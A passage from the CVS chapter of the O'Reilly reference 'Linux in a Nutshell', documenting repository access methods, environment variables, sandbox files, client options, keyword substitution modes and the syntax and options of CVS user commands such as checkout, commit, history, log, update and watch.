rev:: | The same as rev1::rev2, except the second revision is the end of the branch, and it is deleted instead of retained.
rev | Delete the specified revision.
rev1: rev2 | The same as rev1::rev2, except the two named revisions are deleted as well.
:rev | The same as ::rev2, except the named revision is deleted as well.
rev: | The same as rev1::, except the named revision is deleted as well.

The options in Table 14-11 are present in CVS for historical reasons and should not be used (using these options may corrupt the repository).

Table 14-11. Obsolete admin Options

Option | Description
-a logins | Append the logins to the RCS file's access list.
-A oldfile | Append the access list of oldfile to the access list of the RCS file.
-e[logins] | Erases logins from the RCS file's access list, or erases all if a list is not provided.
-i | Create and initialize a new RCS file. Don't use this option. Instead, use add to add files to a CVS repository.
-I | Run interactively. This option doesn't work with client/server CVS and is likely to be removed in a future version.
-V n | Obsolete. This option was used to specify that the RCS files used by CVS should be made compatible with a specific version of RCS.
-x suffixes | This option used to be described as determining the filename suffix for RCS files, but CVS has always only used ,v as the RCS file suffix.

14.3.8.2. init

init

Initializes the repository. Use the global -d option to specify the repository's directory if $CVSROOT isn't set appropriately.

The newly initialized repository will contain a CVSROOT module, but nothing else. Once the repository is initialized, use other CVS commands to add files to it or to check out the CVSROOT module to make changes to the administrative files.

14.3.8.3. pserver

pserver

Operate as a server, providing access to the repositories specified before the command with the --allow-root option. This command is used in the inetd.conf file, not on the command line. Another global option frequently used with this command is -T (see Table 14-1).

Previous | Home | Next
14.2. The CVS Utility | Book Index | 14.4. CVS User Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CVS User Reference (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.4. CVS User Reference

This section provides details on connecting to a repository, the structure of sandboxes, and using the CVS commands.

14.4.1. Repository Locators

CVS currently supports five methods for the client to access the repository: local, external, a password server, a GSS-API (Generic Security Services API) server, and a Kerberos 4 server (most Kerberos users will want to use GSS-API). Table 14-12 describes the various repository locator types and their respective access methods.

Table 14-12. Repository Access Types and Methods

Method | Locator Format | Description
Local | path | If the repository directory is local to the computer from which you will access it (or appears local, such as an NFS or Samba mounted filesystem), the repository string is just the pathname of the repository directory, such as /usr/local/cvsrep.
External | :ext:user@host:path | External repositories are accessed via a remote shell utility, usually rsh (the default) or ssh. The environment variable $CVS_RSH is used to specify the remote shell program.
Password server | :pserver:user@host:path | Password server repositories require authentication to a user account before allowing use of the repository. Public CVS servers are commonly configured this way so they can provide anonymous CVS access. See Section 14.3.3.11, "The passwd file", earlier in this chapter, for more information on anonymous CVS.
GSS-API server | :gserver: | This locator type is used for servers accessible via Kerberos 5 or other authentication mechanisms supported by GSS-API.
Kerberos server | :kserver: | This locator type is used for servers accessible via Kerberos 4.

14.4.2. Configuring CVS

CVS's behavior can be influenced by two classes of settings other than the command-line arguments: the environment variables (see Table 14-13) and special files (see Table 14-14).

Table 14-13. Environment Variables

Variable | Description
$COMSPEC | Command interpreter on OS/2, if not cmd.exe.
$CVS_CLIENT_LOG | Client-side debugging file specification for client/server connections. $CVS_CLIENT_LOG is the basename for the $CVS_CLIENT_LOG.in and $CVS_CLIENT_LOG.out files, which will be written in the current working directory at the time a command is executed.
$CVS_CLIENT_PORT $CVS_IGNORE_REMOTE_ROOT | The port number for :kserver: locators. $CVS_CLIENT_PORT doesn't need to be set if the kserver is listening on port 1999 (the default). According to the ChangeLog, this variable was removed from CVS with Version 1.10.3.
$CVS_PASSFILE | Password file for :PSERVER: locators. This variable must be set before issuing the cvs login to have the desired effect. Defaults to $HOME/.cvspass.
$CVS_RCMD_PORT | For non-Unix clients, the port for connecting to the server's rcmd daemon.
$CVS_RSH | Remote shell for :ext: locators, if not rsh.
$CVS_SERVER | Remote server program for :ext: locators, if not cvs.
$CVS_SERVER_SLEEP | Server-side execution delay (in seconds) to allow time to attach a debugger.
$CVSEDITOR | Editor used for log messages; overrides $EDITOR.
$CVSIGNORE | A list of filename patterns to ignore, separated by white space. (See also cvsignore in Table 14-4 and .cvsignore in Table 14-14.)
$CVSREAD | Determines read-only (if the variable is set) or read/write (if the variable is not set) for checkout and update.
$CVSROOT | Default repository locator.
$CVSUMASK | Used to determine permissions for (local) repository files.
$CVSWRAPPERS | A list of filename patterns for the cvswrappers function. See also Section 14.3.3, "Repository Structure".
$EDITOR | Specifies the editor to use for log messages; see notes for $CVSEDITOR earlier in this table.
$HOME | On Unix, used to find the .cvsrc file.
$HOMEDRIVE | On Windows NT, used to find the .cvsrc file.
$HOMEPATH | On Windows NT, used to find the .cvsrc file.
$PATH | Used to locate programs to run.
$RCSBIN | Used to locate RCS programs to run. This variable is obsolete.
$TEMP $TMP $TMPDIR | Location for temporary files. $TMPDIR is used by the server. On Unix, /tmp (and TMP on Windows NT) may not be overridden for some functions of CVS due to reliance on the system's tmpnam() function.

Despite the similarity in names, the $CVSROOT environment variable and the CVSROOT directory in a repository are not related to each other.

The "RSH" in the name of the $CVS_RSH environment variable doesn't refer to the particular program (rsh), but rather to the program CVS is supposed to use for creating remote shell connections (which could be some program other than rsh, such as ssh).

Since there is only one way to specify the remote shell program to use ($CVS_RSH), and since this is a global setting, users that commonly access multiple repositories may need to pay close attention to which repository they are using. If one repository requires one setting of this variable and another requires a different setting, then you will have to change this variable between accesses to repositories requiring different settings. This aspect of the repository access method is not stored in the CVS/Root file in the sandbox (see Section 14.4.4.3, "CVS directories", later in this chapter). For example, if you access some repositories via rsh and some via ssh, then you can create the following two utility aliases (bash syntax):

user@localhost$ alias cvs="export CVS_RSH=ssh; cvs"
user@localhost$ alias cvr="export CVS_RSH=rsh; cvs"

Table 14-14 shows the files used by the CVS command-line client for server connection and client configuration information. These files reside in the user's home directory.

Table 14-14. Client Configuration Files

Option | Description
~/.cvsignore | Filename patterns of files to ignore
~/.cvspass | Passwords cached by cvs login
~/.cvsrc | Default command options
~/.cvswrappers | User-specific checkout and commit filters

The ~/.cvspass file is really an operational file, not a configuration file. It is used by the cvs client program to store the repository user account password between cvs login and cvs logoff.

Some common .cvsrc settings are:

update -dP

Brings in new directories and prunes empty directories on cvs update.

diff -c

Give output in context diff format.

14.4.3. Creating a Sandbox

In order to use CVS, you must create a sandbox or have one created for you. This section describes sandbox creation, assuming there is already a module in the repository you want to work with. See Section 14.4.7.11, "import" for information on importing a new module into the repository.

  1. Determine the repository locator. Talk to the repository administrator if you need help finding the repository or getting the locator syntax right.

  2. If this will be the main repository you use, set $CVSROOT; otherwise, use the -d option when running CVS commands that don't infer the repository from the sandbox files.

  3. Pick a module to check out.

  4. Pick a sandbox location, and cd to the parent directory.

  5. If the repository requires login, do cvs login.

  6. Run cvs checkout module.

For example:

export CVSROOT=/usr/local/cvsroot
cd ~/work
cvs checkout hello

14.4.4. Sandbox Structure

This section describes the files and directories that may be encountered in sandboxes.

14.4.4.1. .cvsignore files

Sandboxes may contain .cvsignore files. These files specify filename patterns for files that may exist in the sandbox but which normally won't be checked into CVS. This is commonly used to cause CVS to bypass derived files.

14.4.4.2. .cvswrappers files

Sandboxes may contain .cvswrappers files, which provide directory-specific file handling information like that in the repository configuration file cvswrappers (see Section 14.3.3.6, "The cvswrappers file", earlier in this chapter).

14.4.4.3. CVS directories

Each directory in a sandbox contains a CVS directory. The files in this directory (see Table 14-15) contain metadata used by CVS to locate the repository and track which file versions have been copied into the sandbox.

Table 14-15. Files in the CVS Directories

File | Description
Base Baserev Baserev.tmp | The Base directory stores copies of files when the edit command is in use. The Baserev file contains the revision numbers of the files in Base. The Baserev.tmp file is used in updating the Baserev file.
Checkin.prog Update.prog | The programs specified in the modules file for options -i and -u, respectively (if any).
Entries | Version numbers and timestamps for the files as they were copied from the repository when checked out or updated.
Entries.Backup Entries.Log Entries.Static | These are temporary and intermediate files used by CVS.
Notify Notify.tmp | These are temporary files used by CVS for dealing with notifications for commands like edit and unedit.
Repository | The name by which the directory is known in the repository.
Root | The repository locator in effect when the sandbox was created (via cvs checkout).
Tag | Information about sticky tags and dates for files in the directory.
Template | Used to store the contents of the rcsinfo administrative file from the repository for remote repositories.

Since each sandbox directory has one CVS/Root file, a sandbox directory corresponds to exactly one repository. You cannot check out some files from one repository and some from another into a single sandbox directory.

14.4.5. Client Global Options

Table 14-16 lists the global options that control the operation of the CVS client program.

Table 14-16. Client Global Options

Option | Description
-a | Authenticate (gserver only).
-d root | Locate the repository. Overrides the setting of $CVSROOT.
-e editor | Specify message editor. Overrides the settings of $CVSEDITOR and $EDITOR.
-f | Don't read ~/.cvsrc. Useful when you have .cvsrc settings that you want to forgo for a particular command.
-H [command] --help [command] | Display help. If no command is specified, general CVS help, including a list of other help options, is displayed.
-l | Don't log command in history.
-n | Don't change any files. Useful when you want to know ahead of time which files will be affected by a particular command.
-q | Be quiet.
-Q | Be very quiet. Print messages only for serious problems.
-r | Make new working files read-only.
-s variable=value | Set the value of a user variable to a given value. User variables can be used in the contents of administrative files.
-t | Trace execution. Helpful in debugging remote repository connection problems and, in conjunction with -n, in determining the effect of an unfamiliar command.
-w | Make new working files read/write. Overrides $CVSREAD. Files are read/write unless $CVSREAD is set or -r is specified.
-x | Encrypt. (Introduced in Version 1.10.)
-z gzip_level | Set the compression level. Useful when using CVS in client/server mode across slow connections.

14.4.6. Common Client Options

Table 14-17 and Table 14-18 describe the options that are common to many CVS commands. Table 14-17 lists the common options with a description of their function, while Table 14-18 lists which options can be used with the user commands. In the sections that follow, details will be provided only for options that are not listed here and for those that do not function as described here.

Table 14-17. Common Options

Option | Description
-D date | Use the most recent revision no later than date.
-f | For commands that involve tags (via -r) or dates (via -D), include files not tagged with the specified tag or not present on the specified date. The most recent revision will be included.
-k kflag | Determine how keyword substitution will be performed. The space between -k and kflag is optional. See Table 14-19 for the list of keyword substitution modes.
-l | Do not recurse into subdirectories.
-n | Don't run module programs.
-R | Do recurse into subdirectories (the default).
-r rev | Use a particular revision number or symbolic tag.

Table 14-18 shows which common options are applicable to each user command.

Table 14-18. Client Common Option Applicability

User Command | -D | -f | -k | -l | -n | -R | -r
add |  |  |  |  |  |  |
annotate |  |  |  |  |  |  |
checkout |  |  |  |  |  |  |
commit |  |  |  |  |  |  |
diff |  |  |  |  |  |  |
edit |  |  |  |  |  |  |
editors |  |  |  |  |  |  |
export |  |  |  |  |  |  |
help |  |  |  |  |  |  |
history |  |  |  |  |  |  |
import |  |  |  |  |  |  |
log |  |  |  |  |  |  |
login |  |  |  |  |  |  |
logout |  |  |  |  |  |  |
rdiff |  |  |  |  |  |  |
release |  |  |  |  |  |  |
remove |  |  |  |  |  |  |
rtag |  |  |  |  |  |  |
status |  |  |  |  |  |  |
tag |  |  |  |  |  |  |
unedit |  |  |  |  |  |  |
update |  |  |  |  |  |  |
watch |  |  |  |  |  |  |
watchers |  |  |  |  |  |  |

14.4.6.1. Date formats

CVS can understand dates in a wide variety of formats, including:

ISO standard

The preferred format is YYYY-MM-DD HH:MM, which would read as 2000-05-17, or 2000-05-17 22:00. The technical details of the format are defined in the ISO 8601 standard.

Email standard

17 May 2000. The technical details of the format are defined in the RFC 822 and RFC 1123 standards.

Relative

10 days ago, 4 years ago.

Common

month/day/year. This form can cause confusion because not all cultures use the first two fields in this order (1/2/2000 would be ambiguous).

Other

Other formats are accepted, including YYYY/MM/DD and those omitting the year (which is assumed to be the current year).

14.4.6.2. Keyword substitutions

Table 14-19 describes the keyword substitution modes that can be selected with the -k option. CVS uses keyword substitutions to insert revision information into files when they are checked out or updated.

Table 14-19. Keyword Substitution Modes

Mode | Description
b | Binary mode. Treat the file the same as with mode o, but also avoid newline conversion.
k | Keyword-only mode. Flatten all keywords to just the keyword name. Use this mode if you want to compare two revisions of a file without seeing the keyword substitution differences.
kv | Keyword-value mode. The keyword and the corresponding value are substituted. This is the default mode.
kvl | Keyword-value-locker mode. This mode is the same as kv mode, except it always adds the lock holder's user ID if the revision is locked. The lock is obtained via the cvs admin -l command.
o | Old-contents mode. Use the keyword values as they appear in the repository rather than generate new values.
v | Value-only mode. Substitute the value of each keyword for the entire keyword field, omitting even the $ delimiters. This mode destroys the field in the process, so use it cautiously.

Keyword substitution fields are strings of the form $Keyword ...$. The valid keywords are:

Author

The user ID of the person who committed the revision.

Date

The date and time (in standard UTC format) the revision was committed.

Header

The full path of the repository RCS file, the revision number, the commit date, time, and user ID, the file's state, and the lock holder's user ID if the file is locked.

Id

A shorter form of Header, omitting the leading directory name(s) from the RCS file's path, leaving only the filename.

Name

The tag name used to retrieve the file, or empty if the no explicit tag was given when the file was retrieved.

Locker

The user ID of the user holding a lock on the file, or empty if the file is not locked.

Log

The RCS filename. In addition to keyword expansion in the keyword field, each commit adds additional lines in the file immediately following the line containing this keyword. The first such line contains the revision number, the commit date, time, and user ID. Subsequent lines are the contents of the commit log message. The result over time is a reverse-chronological list of log entries for the file. Each of the additional lines is preceded by the same characters that precede the keyword field on its line. This allows the log information to be formatted in a comment for most languages. For example:

#
# ch14_04.htm
#
# $Log: ch14_04.htm,v $
# Revision 1.3  2001/06/22 16:14:09  ellie
# replaced grave entity w/literal backtic
#
# Revision 1.2  2001/06/18 18:28:37  ellie
# regenerated after xslt fixes
#
# Revision 1.1  2000/06/09 18:07:51  ellie
# Fixed the last remaining bug in the system.
#

Be sure that you don't place any keyword fields in your log messages if you use this keyword, since they will get expanded if you do.

RCSfile

The name of the RCS file (without any leading directories).

Revision

The revision number of the file.

Source

The full path of the RCS file.

State

The file's state, as assigned by cvs admin -s (if you don't set the state explicitly, it will be Exp by default).

14.4.7. User Commands

The CVS client program provides the user commands defined in Table 14-20.

Table 14-20. User Commands

Command | Description
ad add new | Indicate that files/directories should be added to the repository.
ann annotate | Display contents of the head revision of a file, annotated with the revision number, user, and date of the last change for each line.
checkout co get | Create a sandbox for a module.
ci com commit | Commit changes from the sandbox back to the repository.
di dif diff | View differences between file versions.
edit | Prepare to edit files. This is used for enhanced developer coordination.
editors | Display a list of users working on the files. This is used for enhanced developer coordination.
ex exp export | Retrieve a module, but don't make the result a sandbox.
help | Get help.
hi his history | Display the log information for files.
im imp import | Import new modules into the repository.
lgn login logon | Log in to (cache the password for) a remote CVS server.
lo log rlog | Show the activity log for the file(s).
logout | Log off from (flush the password for) a remote CVS server.
pa patch rdiff | Release diff. The output is the format of input to Larry Wall's patch command. Does not have to be run from within a sandbox.
re rel release | p Perform a logged delete on a sandbox.
remove rm delete | Remove a file or directory from the repository.
rt rtag rfreeze | Tag a particular revision.
st stat status | Show detailed status for files.
ta tag freeze | Attach a tag to files in the repository.
unedit | Abandon file modifications and make read-only again.
up upd update | Synchronize sandbox to repository.
watch | Manage the watch settings. This is used for enhanced developer coordination.
watchers | Display the list of users watching for changes to the files. This is used for enhanced developer coordination.

14.4.7.1. add

add
  [ -k kflag ]
  [ -m message ]
  file ...

Indicate that files/directories should be added to the repository. They are not actually added until they are committed via cvs commit. This command is also used to resurrect files that have been deleted with cvs remove.

The standard meaning of the common client option -k applies. There is only one additional option that can be used with the add command: -m message. This option is used to provide a description of the file (which appears in the output of the log command).

14.4.7.2. annotate

annotate
  [ [ -D date | -r rev ] -f ]
  [ -l | -R ]
  file ...

CVS prints a report showing each line of the specified file. Each line is prefixed by information about the most recent change to the line, including the revision number, the user, and the date. If no revision is specified, then the head of the trunk is used.

The standard meanings of the common client options -D, -f, -l, -r, and -R apply.

14.4.7.3. checkout

checkout
  [ -A ]
  [ -c | -s ]
  [ -d dir [ -N ] ]
  [ [ -D date | -r rev ] -f ]
  [ -j rev1 [ -j rev2 ] ]
  [ -k kflag ]
  [ -l | -R ]
  [ -n ]
  [ -p ]
  [ -P ]
  module ...

Copy files from the repository to the sandbox.

The standard meanings of the common client options -D, -f, -k, -l, -r, and -R apply. Additional options are listed in Table 14-21.

Table 14-21. Checkout Options

Option | Description
-A | Reset any sticky tags or dates.
-c | Copy the module file to standard output.
-d dir | Override the default directory name.
-j rev | Join branches together.
-N | Don't shorten module paths.
-p | Pipe the files to standard output, with header lines between them showing the filename, RCS filename, and version.
-P | Prune empty directories.
-s | Show status for each module from the modules file.

14.4.7.4. commit

commit
  [ -f | [ -l | -R ] ]
  [ -F file | -m message ]
  [ -n ]
  [ -r revision ]
  [ files ... ]

Commit the changes made to files in the sandbox to the repository.

The standard meanings of the common client options -l, -n, -r, and -R apply. Additional options are listed in Table 14-22.

Table 14-22. commit Options

Option | Description
-f | Force commit, even if no changes were made.
-F file | Use the contents of the file as the message.
-m message | Use the message specified.

Use of the -r option causes the revision to be sticky, requiring the use of admin -A to continue to use the sandbox.

14.4.7.5. diff

diff
  [ -k kflag ]
  [ -l | -R ]
  [ format ]
  [ [ -r rev1 | -D date1 ] [ -r rev2 | -D date2 ] ]
  [ file ... ]

The diff command compares two versions of a file and displays the differences in a format determined by the options. By default, the sandbox version of the file will be compared to the repository version it was originally copied from.

The standard meanings of the common client options -D, -k, -l, -r, and -R apply. All options for the diff command in Chapter 3, "Linux Commands" can also be used.

14.4.7.6. edit

edit
  [ -a action ]
  [ -l | -R ]
  [ file ... ]

The edit command is used in conjunction with watch to permit a more coordinated (serialized) development process. It makes the file writable and sends out an advisory to any users who have requested them. A temporary watch is established and will be removed automatically when either the unedit or the commit command is issued.

The standard meanings of the common client options -l and -R apply. There is only one additional option that can be used with the edit command: -a actions. This option is used to specify the actions to watch. The legal values for actions are described in the entry for the watch command.

14.4.7.7. editors

editors
  [ -l | -R ]
  [ file ... ]

Display a list of users working on the files specified. This is determined by checking which users have run the edit command on those files. If the edit command has not been used, no results will be displayed.

The standard meanings of the common client options -l and -R apply.

See also the later section on watch.

14.4.7.8. export

export
  [ -d dir [ -N ] ]
  [ -D date | -r rev ]
  [ -f ]
  [ -k kflag ]
  [ -l | -R ]
  [ -n ]
  [ -P ]
  module ...

Export files from the repository, much like the checkout command, except that the result is not a sandbox (i.e., CVS subdirectories are not created). This can be used to prepare a directory for distribution. For example:

user@localhost$ cvs export -r foo-1_0 -d foo-1.0 foo
user@localhost$ tar czf foo-1.0.tar.gz foo-1.0

The standard meanings of the common client options -D, -f, -k, -l, -n, -r, and -R apply. Additional options are listed in Table 14-23.

Table 14-23. export Options

Option | Description
-d dir | Use dir as the directory name instead of using the module name.
-n | Don't run any checkout programs.
-N | Don't shorten paths.

When checking out a single file located one or more directories down in a module's directory structure, the -N option can be used with -d to prevent the creation of intermediate directories.

14.4.7.9. help

help

Display helpful information about using the cvs program.

14.4.7.10. history

history
  [ -a | -u user ]
  [ -b string ]
  [ -c ]
  [ -D date ]
  [ -e | -x type ]
  [ -f file | -m module | -n module | -p repository ]...
  [ -l ]
  [ -o ]
  [ -r rev ]
  [ -t tag ]
  [ -T ]
  [ -w ]
  [ -z zone ]
  [ file ... ]

Display historical information. To use the history command, you must first set up the history file in the repository. See Section 14.3.3, "Repository Structure" for more information on this file.

NOTE

When used with the history command, the functions of -f, -l, -n, and -p are not the same as elsewhere in CVS.

The standard meanings of the common client options -D, and -r apply. History is reported for activity subsequent to the date or revision indicated. Additional options are listed in Table 14-24.

Table 14-24. history Options

Option | Description
-a | Show history for all users (default is current user).
-b str | Show history back to the first record containing str in the module name, filename, or repository path.
-c | Report each commit.
-e | Report everything.
-f file | Show the most recent event for file.
-l | Show last event only.
-m module | Produce a full report on module.
-n module | Report the last event for module.
-o | Report on modules that have been checked out.
-p repository | Show history for a particular repository directory.
-t tag | Show history since the tag tag was last added to the history file.
-T | Report on all tags.
-u name | Show history for a particular user.
-w | Show history only for the current working directory.
-w zone | Display times according to the time zone zone.
-x type | Report on specific types of activity. See Table 14-25.

The -p option should limit the history report to entries for the directory or directories (if multiple -p options are specified) given, but as of Version 1.10.8, it doesn't seem to affect the output. For example, to report history for the CVSROOT and hello modules, run the command:

cvs history -p CVSROOT -p hello

Using -t is faster than using -r because it only needs to search through the history file, not all of the RCS files.

The record types shown in Table 14-25 are generated by update commands.

Table 14-25. Update-Related history Record Types

Type | Description
C | Merge was necessary, but conflicts requiring manual intervention occurred.
G | Successful automatic merge.
U | Working file copied from repository.
W | Working copy deleted.

The record types shown in Table 14-26 are generated by commit commands:

Table 14-26. Commit-Related history Record Types

Type | Description
A | Added for the first time
M | Modified
R | Removed

Each of the record types shown in Table 14-27 is generated by a different command.

Table 14-27. Other history Record Types

Type | Command
E | export
F | release
O | checkout
T | rtag

14.4.7.11. import

import
  [ -b branch ]
  [ -d ]
  [ -I pattern ]
  [ -k kflag ]
  [ -m message ]
  [ -W spec ]
  module
  vendor_tag
  release_tag ...

Import an entire directory into the repository as a new module. Used to incorporate code from outside sources or other code that was initially created outside the control of the CVS repository. More than one release_tag may be specified, in which case multiple symbolic tags will be created for the initial revision.

The standard meaning of the common client option -k applies. Additional options are listed in Table 14-28.

Table 14-28. import Options

Option | Description
-b branch | Import to a vendor branch.
-d | Use the modification date and time of the file instead of the current date and time as the import date and time. For local repository locators only.
-I pattern | Filename patterns for files to ignore.
-m message | Use message as the log message instead of invoking the editor.
-W spec | Wrapper specification.

The -k setting will apply only to those files imported during this execution of the command. The keyword substitution modes of files already in the repository are not modified.

When used with -W, the spec variable is in the same format as entries in the cvswrappers administrative file (see Section 14.3.3.6, "The cvswrappers file").

Table 14-29 describes the status codes displayed by the import command.

Table 14-29. import Status Codes

Status | Description
C | Changed. The file is in the repository, and the sandbox version is different; a merge is required.
I | Ignored. The .cvsignore file is causing CVS to ignore the file.
L | Link. Symbolic links are ignored by CVS.
N | New. The file is new. It has been added to the repository.
U | Update. The file is in the repository, and the sandbox version is not different.

14.4.7.12. log

log
  [ -b ]
  [ -d dates ]
  [ -h ]
  [ -N ]
  [ -rrevisions ]
  [ -R ]
  [ -s state ]
  [ -t ]
  [ -wlogins ]
  [ file ... ]

Print an activity log for the files.

The standard meaning of the common client option -l applies. Additional options are listed in Table 14-30.

Table 14-30. log Options

Option | Description
-b | List revisions on default branch.
-d dates | Report on these dates.
-h | Print header only.
-N | Don't print tags.
-r[revisions] | Report on the listed revisions. There is no space between -r and its argument. Without an argument, the latest revision of the default branch is used.
-R | Print RCS filename only. The usage of -R here is different than elsewhere in CVS (-R usually causes CVS to operate recursively).
-s state | Print only those revisions having the specified state.
-t | Print only header and descriptive text.
-w logins | Report on checkins by the listed logins. There is no space between -w and its argument.

For -d, use the date specifications in Table 14-31. Multiple specifications separated by semicolons may be provided.

Table 14-31. log Date Range Specifications

Specification | Description
d1<d2, or d2>d1 | The revisions dated between d1 and d2, exclusive
d1<=d2, or d2>=d1 | The revisions dated between d1 and d2, inclusive
<d, or d> | The revisions dated before d
<=d, or d>= | The revisions dated on or before d
d<, or >d | The revisions dated after d
d<=, or >=d | The revisions dated on or after d
d | The most recent revision dated d or earlier

For -r, use the revision specifications in Table 14-32.

Table 14-32. log Revision Specifications

Specification | Description
rev1: rev2 | The revisions between rev1 and rev2, inclusive.
:rev | The revisions from the beginning of the branch to rev, inclusive.
rev: | The revisions from rev to the end of the branch, inclusive.
branch | All revisions on the branch.
branch1: branch2 | All revisions on all branches between branch1 and branch2 inclusive.
branch. | The latest revision on the branch.

For rev1:rev2, it is an error if the revisions are not on the same branch.

14.4.7.13. login

login

This command is used to log in to remote repositories. The password entered will be cached in the ~/.cvspass file, since a connection to the server is not maintained across invocations.

14.4.7.14. logout

logout

This command logs out of a remote repository. The password cached in the ~/.cvspass file will be deleted.

14.4.7.15. rdiff

rdiff
  [ -c | -s | -u ]
  [ { { -D date1 | -r rev1 } [ -D date2 | -r rev2 ] } | -t ]
  [ -f ]
  [ -l | -R ]
  [-V vn]
  file ...

The rdiff command creates a patch file that can be used to convert a directory containing one release into a different release.

The standard meanings of the common client options -D, -f, -l, -r, and -R apply. Additional options are listed in Table 14-33.

Table 14-33. rdiff Options

Option | Description
-c | Use context diff format (the default).
-s | Output a summary of changed files instead of a patch file.
-t | Show the differences between the two most recent revisions.
-u | Use unidiff format.
-V rcsver | Obsolete. Used to specify version of RCS to emulate for keyword expansion. (Keyword expansion emulates RCS Version 5.)

14.4.7.16. release

release
  [ -d ]
  directory ...

Sandboxes can be abandoned or deleted without using cvs release if desired; using the release command will log an entry to the history file (if this mechanism is configured) about the sandbox being destroyed. In addition, it will check the disposition (recursively) of each of the sandbox files before deleting anything. This can help prevent destroying work that has not yet been committed.

There is only one option that can be used with the release command, -d. The -d option will delete the sandbox copy if no uncommitted changes are present.

NOTE

New directories (including any files in them) in the sandbox will be deleted if the -d option is used with release.

The status codes listed in Table 14-34 are used to describe the disposition of each file encountered in the repository and the sandbox.

Table 14-34. release Status Codes.

Status | Description
A | The sandbox file has been added (the file was created and cvs add was run), but the addition has not been committed.
M | The sandbox copy of the file has been modified.
P U | Update available. There is a newer version of the file in the repository, and the copy in the sandbox has not been modified.
R | The sandbox copy was removed (the file was deleted and cvs remove was run), but the removal was not committed.
? | The file is present in the sandbox but not in the repository.

14.4.7.17. remove

remove
  [ -f ]
  [ -l | -R ]
  [ file ... ]

Indicate that files should be removed from the repository. The files will not actually be removed until they are committed. Use cvs add to resurrect files that have been removed if you change your mind later.

The standard meanings of the common client options -l and -R apply. Only one other option may be used with the remove command, -f. When used, -f will delete the file from the sandbox first.

14.4.7.18. rtag

rtag
  [ -a ]
  [ -b ]
  [ -d ]
  [ -D date | -r rev ]
  [ -f ]
  [ -F ]
  [ -l | - R ]
  [ -n ]
  tag
  file ...

Assign a tag to a particular revision of a set of files. If the file already uses the tag for a different revision, cvs rtag will complain unless the -F option is used. This command does not refer to the sandbox file revisions (use cvs tag for that), so it can be run outside of a sandbox, if desired.

The standard meanings of the common client options -D, -f, -l, -r, and -R apply. Additional options are listed in Table 14-35.

Table 14-35. rtag Options

Option | Description
-a | Search the Attic for removed files containing the tag.
-b | Make it a branch tag.
-d | Delete the tag.
-F | Force. Move the tag from its current revision to the one specified.
-n | Don't run any tag program from the modules file.

14.4.7.19. status

status
  [ -l | -R ]
  [ -v ]
  [ file ... ]

Display the status of the files.

The standard meanings of the common client options -l and -R apply. The other option that can be used with the status command, -v, may be used to include tag information.

14.4.7.20. tag

tag
  [ -b ]
  [ -c ]
  [ -d ]
  [ -D date | -r rev ]
  [ -f ]
  [ -F ]
  [ -l | R ]
  tag
  [ file ... ]

Assign a tag to the sandbox revisions of a set of files. You can use the status -v command to list the existing tags for a file.

The tag must start with a letter and must consist entirely of letters, numbers, dashes (-) and underscores (_). Therefore, while you might want to tag your hello project with 1.0 when you release Version 1.0, you'll need to tag it with something like hello-1_0 instead.

The standard meanings of the common client options -D, -f, -l, -r, and -R apply. Additional options are listed in Table 14-36.

Table 14-36. tag Options

Option | Description
-b | Make a branch.
-c | Check for changes. Make sure the files are not locally modified before tagging.
-d | Delete the tag.
-F | Force. Move the tag from its current revision to the one specified.

Since the -d option throws away information that might be important, it is recommended that you use it only when absolutely necessary. It is usually better to create a different tag with a similar name.

14.4.7.21. unedit

unedit
  [ -l | -R ]
  [ file ... ]

Abandon file modifications and make the file read-only again. Watchers will be notified.

The standard meanings of the common client options -l and -R apply.

14.4.7.22. update

update
  [ -A ]
  [ -d ]
  [ -D date | -r rev ]
  [ -f ]
  [ -I pattern ]
  [ -j rev1 [ -j rev2 ] ]
  [ -k kflag ]
  [ -l | -R ]
  [ -p ]
  [ -P ]
  [ -W spec ]
  [ file ... ]

Update the sandbox, merging in any changes from the repository. For example:

cvs -n -q update -AdP

can be used to do a quick status check of the current sandbox versus the head of the trunk of development.

The standard meanings of the common client options -D, -f, -k, -l, -r, and -R apply. Additional options are listed in Table 14-37.

Table 14-37. update Options

Option | Description
-A | Reset sticky tags.
-d | Create and update new directories.
-I pattern | Provide filename patterns for files to ignore.
-j revision | Merge in changes between two revisions. Mnemonic: join.
-p | Check out files to standard output.
-P | Prune empty directories.
-W spec | Provide wrapper specification.

Using -D or -r results in sticky dates or tags, respectively, on the affected files (using -p along with these prevents stickiness). Use -A to reset any sticky tags or dates.

If two -j specifications are made, the differences between them are computed and applied to the current file. If only one is given, then the common ancestor of the sandbox revision and the specified revision is used as a basis for computing differences to be merged.

For example, suppose a project has an experimental branch, and important changes to the file foo.c were introduced between revisions 1.2.2.1 and 1.2.2.2. Once those changes have proven stable, you want them reflected in the main line of development. From a sandbox with the head revisions checked out, we run:

user@localhost$ cvs update -j 1.2.2.1 -j 1.2.2.2 foo.c

CVS finds the differences between the two revisions and applies those differences to the file in our sandbox.

The spec used with -W is in the same format as entries in the cvswrappers administrative file (see Section 14.3.3.6, "The cvswrappers file").

The status codes listed in Table 14-38 are used to describe the action taken on each file encountered in the repository and the sandbox.

Table 14-38. update Status Codes

Status Code | Description
A | Added. Server took no action because there was no repository file. Indicates that cvs add, but not cvs commit, has been run.
C | Conflict. Sandbox copy is modified (it has been edited since it was checked out or last committed). There was a new revision in the repository, and there were conflicts when CVS merged its changes into the sandbox version.
M | Modified. Sandbox copy is modified (it has been edited since it was checked out or last committed). If there was a new revision in the repository, its changes were successfully merged into the file (no conflicts).
P | Patched. Same as U but indicates the server used a patch.
R | Removed. Server took no action. Indicates that cvs remove, but not cvs commit, has been run.
U | Updated. The file was brought up-to-date.
? | File is present in sandbox but not in repository.

14.4.7.23. watch

watch
  { { on | off } | { add | remove } [ -a action ] }
  [ -l | -R ]
  file ...

The watch command controls CVS's edit-tracking mechanism. By default, CVS operates in its concurrent development mode, allowing any user to edit any file at any time. CVS includes this watch mechanism to support developers who would rather be notified of edits made by others proactively than discover them when doing an update.

The CVSROOT/notify file determines how notifications are performed.

Table 14-39 shows the watch sub-commands and their uses.

Table 14-39. watch Sub-commands

Sub-command | Description
add | Start watching files.
off | Turn off watching.
on | Turn on watching.
remove | Stop watching files.

The standard meanings of the common client options -l and -R apply. The only other option that can be used with the watch command is -a action. The -a option is used in conjunction with one of the actions listed in Table 14-40.

Table 14-40. watch Actions

Action | Description
all | All of the following.
commit | A user has committed changes.
edit | A user ran cvs edit.
none | Don't watch. Used by the edit command.
